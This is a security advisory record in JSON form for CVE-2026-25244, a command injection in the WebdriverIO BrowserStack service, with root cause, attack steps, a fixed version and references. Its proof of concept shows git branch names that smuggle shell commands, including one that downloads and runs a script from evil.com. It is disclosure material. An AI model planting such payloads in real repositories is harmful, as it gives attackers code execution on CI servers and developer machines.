{"id":"CVE-2026-25244","aliases":["GHSA-5c46-x3qw-q7j7"],"url":"https://o3.security/vulnerability/CVE-2026-25244","summary":"WebdriverIO has Command Injection in the BrowserStack Service","details":"### Summary\nA command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n### Vulnerable Code\n**File**:  https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204\n\n### Root Cause\nUser-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.\nGit allows to create these branches.\n```\ngit checkout -b \"main;touch\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\ngit checkout -b \"main;rm\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\ngit checkout -b \"main;curl\\${IFS}evil.com/evil.sh\\${IFS}>/tmp/evil.sh;bash\\${IFS}/tmp/evil.sh;echo\\${IFS}PWNED\"\n```\n\n\n### Attack Vector\n1. Attacker creates a malicious git repository with a branch name containing command injection payload\n2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`.\n3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name\n4. Branch name is interpolated into shell commands without sanitization\n5. Shell interprets special characters and executes attacker's commands\n\n### PoC\n### Step 1: Create Malicious Repository Branch\n```\ngit checkout -b \"main;touch\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\n```\n\n### Step 2: Configure WebdriverIO\n\n```javascript\n// wdio.conf.js\nexport const config = {\n    services: [\n        ['browserstack', {\n            user: process.env.BROWSERSTACK_USERNAME,\n            key: process.env.BROWSERSTACK_ACCESS_KEY,\n            testOrchestrationOptions: {\n                runSmartSelection: {\n                    enabled: true,\n                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without \"source\" field, it runs in the current directory.\n                }\n            }\n        }]\n    ],\n    // ... rest of config\n}\n```\n### Step 3: Run Tests\n\n```bash\nnpm run wdio\n```\n### Step 4: Verify RCE\n\n```bash\n# Check if file was created (proof of RCE)\nls -la /tmp/pwned.txt\n```\n\n### Impact\n\n- **Remote Code Execution** on CI/CD servers or developer machines\n- **Information Disclosure** (environment variables, secrets, credentials)\n- **Data Exfiltration** (source code, SSH keys, configuration files)\n- **System Compromise** (backdoor installation, lateral movement)\n- **Supply Chain Attack** (modify build artifacts)","published":"2026-05-18T20:31:14.497Z","modified":"2026-08-12T03:51:26.344988522Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@wdio/browserstack-service","fixedVersion":"9.24.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204"},{"type":"WEB","url":"https://github.com/webdriverio/webdriverio/releases/tag/v9.24.0"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25244.json"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-25244"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25244.json"},{"type":"ADVISORY","url":"https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25244"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2479692"},{"type":"PACKAGE","url":"https://github.com/webdriverio/webdriverio"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:26.344988522Z"}}